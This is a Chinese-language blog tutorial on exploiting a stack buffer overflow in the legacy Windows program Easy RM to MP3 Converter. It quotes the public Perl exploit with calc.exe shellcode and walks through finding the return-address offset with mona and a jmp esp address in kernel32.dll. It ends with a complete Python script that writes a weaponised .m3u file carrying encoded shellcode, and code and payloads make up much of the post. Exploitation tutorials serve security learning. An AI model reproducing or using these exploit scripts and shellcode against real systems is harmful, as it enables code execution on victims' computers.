经典栈溢出 Easy RM to MP3 Converter

16 篇文章 4 订阅

以一个样本(Easy RM to MP3 Converter)将作为经典栈溢出的讲解实例,首先说明此实验是WIN10环境下复现的;

“Easy RM 2 MP3 Converter”是一个音频格式的转换工具,年代比较久远了。在2009年7月17日,packetstormsecurity公开了该软件的一个栈溢出漏洞并提供了exploit:https://packetstormsecurity.com/files/79357/Easy-RM-To-MP3-Converter-Stack-Overflow.html

Exp-DB也收录了这一漏洞:https://www.exploit-db.com/exploits/9186/

公开的exp我运行不起了,我们先来分析一下这个exp:

#!/usr/bin/perl
# Easy RM to MP3 Converter .m3u file Universall Stack Overflow Exploit
# it's so diferent to the first exploit .pls
# by stack
# xd Alpha zrebti 3liha :d
# Thnx to Zigma & His0k4 & HOD
my $header= "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46".
            "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F".
            "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20".
            "\x0D\x0A\x44\x3A\x5C";
  
my $junk  = "\x41" x 1293;
my $ret   = "\xDB\x70\xBB\x01"; # Universal return adress :d
my $nop   = "\x90" x 220;
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
my $calc_shell =
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
    "\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47".
    "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48".
    "\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x53\x4b\x48".
    "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
    "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
    "\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38".
    "\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54".
    "\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58".
    "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43".
    "\x42\x4c\x46\x36\x4b\x58\x42\x34\x42\x33\x45\x48\x42\x4c\x4a\x57".
    "\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a".
    "\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b".
    "\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x33".
    "\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x47".
    "\x42\x55\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x39".
    "\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x36".
    "\x4e\x56\x43\x36\x50\x32\x45\x36\x4a\x57\x45\x56\x42\x30\x5a";
 
$id = $ARGV[0];
if ($id==1){
print "$header$junk$ret$nop$calc_shell";
exit;
}
print "\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print " +++                                                              +++\n";
print " +++                                                              +++\n";
print " +++ Easy RM to MP3 Converter Universall Stack Overflow Exploit   +++\n";
print " +++ Written By Stack                                             +++\n";
print " +++                                                              +++\n";
print " +++   Usage Ex.: perl $0 1 >>Exploit.m3u                         +++\n";
print " +++                                                              +++\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
exit;
#EOF

 

这段shellcode明显是由header,junk,ret(返回地址),nop填充以及一个弹出计算机的shellcode构成的,其中这个header可能是指定的文件的文件头,header和junk是用于填充ESP和EBP之间的内存空间(包括EBP本身),而”\xDB\x70\xBB\x01”是一个硬编码的地址,这个地址很可能是“jmp esp”或者"call esp"之类指令的地址;

因为这段shellcode已经不能用了,所以我们需要重新去寻找junk字符串的大小,“jmp esp”或者“call esp”的地址,只要找到这两个主要的东西后,我们就可以重新部署我们的shellcode了;

我们先用python来重新书写一下exp的模板:

import sys
header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46" 
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"
junk = "A" * 10000
payload = header + junk
if len(sys.argv) < 2:
    print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
    with open(sys.argv[1],"w") as f:
        f.write(payload)

 

我将junk字符串用10000个"A"来替代,然后暂时去除了shellcode,然后,我们用命令行来生成一个ev1.m3u的文件,然后用这个程序打开:

程序弹出了一个对话框,提示了一个错误,点击确定后程序一切正常,并没有崩溃;

于是我们将10000个“A"改为30000个“A”,重新生成文件ev1.m3u,然后重新用这个软件打开此文件,发现程序死掉了;

根据我们对栈溢出的理解,程序崩溃是因为当前栈帧的返回地址被0x41414141所覆盖,而0x41414141处的指令是不可控的(内存空间要么未分配,要么指令因不可控而异常)。通过调试器来定位一下,程序的最后是否按照预期所想。使用Windbg附加进程,g命令运行起来,然后加载evil1.m3u,然后我们用dd esp命令查看一下:

可以看到程序确实跑到了0x41414141指令处;

定位ret eip

但要如何定位ret eip在栈上的地址呢?我们填充的数据全是’A’,崩溃时根本看不出是哪个地址处的’A’覆盖了ret addr。

对于这种情形,有2种常见的手法来解决:

  1. 第一种是直接通过动态调试和静态调试,比如找到关键函数调用地址,通过下断点的方式,在程序崩溃前后观察栈内存空间,如果是静态调试的话甚至可以根据反汇编码直接计算出ret addr与可控输入数据的距离。
  2. 第二种是懒人万用方法,可以直接用一组pattern特征junk来填充,观察程序崩溃时跳转的地址来定位ret addr与数据起始的偏移。

第二种方法无疑比较简单,这里就使用它来操作一下,直接用windbg的mona.py插件:

!py mona pattern_create 30000

 

用HEX这30000个字节数据替代之前的poc.py中的junk;数据大,不贴代码

可以观察到这一组数据有很明显的特征,可以根据这一组精心够造的序列轻易的判断出ret addr是哪4个连续的字节。

再次调试,看看ret address跳到了哪里:

因为Intel是小端,所以我们把地址换成”\x48\x6d\x33\x48”,把这4个字节在30000个字节中搜索一下,就知道ret addr的偏移了。

可以手动搜索,也可以继续用mona.py插件提供的pattern_offset。最终找到偏移为26105;

编写exp

要让我们的esp可用,那么只需要找到一条稳定的”jmp esp“指令的地址,覆盖ret addr,就可以了;

而jmp esp的地址我们可以通过mona插件的jmp -r esp -m KERNEL32.DLL来查找。选择kernel32.dll是因为它比较稳定,这个dll会被所有用户态应用程序加载,且基址固定(系统未开启ASLR,就算开启了ASLR,这个地址在重启前也都是固定的(受限于Windows DLL加载的设计),方便调试),除了kernel32.dll,user32.dll也经常作为选择;

 

我们用0x75a9dd50覆盖ret addr,shellcode先暂时设置成”\xcc”,也就是’int 3’指令。

再次测试,程序确实如预期跳到了栈上的shellcode起始字节处开始执行(当前是int 3)了,说明这个地址可以用;

于是最终的exp:

import sys

header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46" 
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"

junk="A"*26105

ebp="B"*4

ret = "\x50\xdd\xa9\x75"     #jmp esp

buf ="\xb8\x6f\xa0\x67\x4a\xd9\xc3\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
buf +="\x30\x31\x42\x13\x03\x42\x13\x83\xea\x93\x42\x92\xb6\x83\x01"
buf +="\x5d\x47\x53\x66\xd7\xa2\x62\xa6\x83\xa7\xd4\x16\xc7\xea\xd8"
buf +="\xdd\x85\x1e\x6b\x93\x01\x10\xdc\x1e\x74\x1f\xdd\x33\x44\x3e"
buf +="\x5d\x4e\x99\xe0\x5c\x81\xec\xe1\x99\xfc\x1d\xb3\x72\x8a\xb0"
buf +="\x24\xf7\xc6\x08\xce\x4b\xc6\x08\x33\x1b\xe9\x39\xe2\x10\xb0"
buf +="\x99\x04\xf5\xc8\x93\x1e\x1a\xf4\x6a\x94\xe8\x82\x6c\x7c\x21"
buf +="\x6a\xc2\x41\x8e\x99\x1a\x85\x28\x42\x69\xff\x4b\xff\x6a\xc4"
buf +="\x36\xdb\xff\xdf\x90\xa8\x58\x04\x21\x7c\x3e\xcf\x2d\xc9\x34"
buf +="\x97\x31\xcc\x99\xa3\x4d\x45\x1c\x64\xc4\x1d\x3b\xa0\x8d\xc6"
buf +="\x22\xf1\x6b\xa8\x5b\xe1\xd4\x15\xfe\x69\xf8\x42\x73\x30\x96"
buf +="\x95\x01\x4e\xd4\x96\x19\x51\x48\xff\x28\xda\x07\x78\xb5\x09"
buf +="\x6c\x76\xff\x10\xc4\x1f\xa6\xc0\x55\x42\x59\x3f\x99\x7b\xda"
buf +="\xca\x61\x78\xc2\xbe\x64\xc4\x44\x52\x14\x55\x21\x54\x8b\x56"
buf +="\x60\x37\x4a\xc5\xe8\xb8"

nop = "\x90" * 30

shellcode = nop + buf

payload=header+junk +ebp +ret+ "Z"*4+ shellcode

if len(sys.argv) < 2:
    print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
    with open(sys.argv[1],"w") as f:
        f.write(payload)

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值